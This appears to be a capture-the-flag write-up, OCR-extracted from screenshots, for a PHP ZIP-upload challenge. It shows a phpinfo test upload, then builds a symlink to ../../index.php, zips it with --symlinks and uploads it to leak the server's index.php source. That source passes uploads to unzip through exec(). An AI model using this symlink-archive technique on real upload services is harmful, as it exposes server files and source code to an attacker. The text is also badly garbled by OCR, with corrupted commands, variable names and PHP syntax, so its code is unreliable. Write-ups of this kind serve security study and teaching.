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Your goal is to read index.php file.
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ZIP upload

File unzipped here.
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2.php

<?php
phpinfo();
>
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ZIP upload

File unzipped here.
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File Name | File Size | Date |
Parent directory/ - -
2php +——m— 21 01-Jan-2020 09:33
3aa2db9c1c058f25ba577518b018ed5b.zip 165 01-Jan-2020 03:23
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In -s /../../index.php index.txt.
zip --symlinks index.zip index.txt

# ln -5
# zip --

adding: in .txt (stored ¢
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File Name | File Size | Date |
Parent directory/

b788eb63cf15d22b6b3273393371c9cb.zip 186 01-Jan-2020 03:28
index.txt 1439 07-Feb-2018 20:01

<Tphp
if(isset (§_FILES[ zipfile’ 1)) {
i1 (§ FILES[ zipfile' ][ type’ application/zip” || § FILES[ zipfile' 10 type’ J==="application/x-zip-compressed” || $ FILES[ zipfile’ 1[" type’ J==="application/octet-strean’) {
Juploaddir = " top/upload/ . uniaid("”, true).’/;
mkdir(Juploaddir, 0750, true);
Fuploadfile = $uploaddir . mdb(basename($_FILES[ zipfile' ][ name’1)).”. zip’;
if (move_uploaded file(3 FILES[ zipfile’ ][’ tmp_name’ ], $uploadfils)) {
fmessage = “<p>File uploaded</p> *;

3
else(

§message = “<p>Error!</p>”;
}

Jzip = new Ziphrchive;

if ($zip-open(Juploadfile}) {
// Don' t know if this is safe, but it works, somecne told me the flag is [E
exec(”/usr/bin/timeout ~k2 3 /usr/bin/unzip *$uploadfile’ -d ’Juploaddir’ "
fmessage = ~<{p>File unzipped <a href= " Juploaddir. ” >here</a>. {/p>”;
fizip->close();

e e USSRl , did not understand what it means
Joutput, §ret)

elsef{

}

$message = “<p> Decompression Error </p>”:

}

else{

§message = “<p> Error bad file type ! <p>”;

}
7>
<hrtml>
<body>
<hI>ZIP upload</hl>
<php print Jmessage;
<form enctype="multipart/form-data” method="post” action>
{input name="zipfile” type="file”>
<button type="submit”>Submi t</button>
</ form>
</body>
</htmd >
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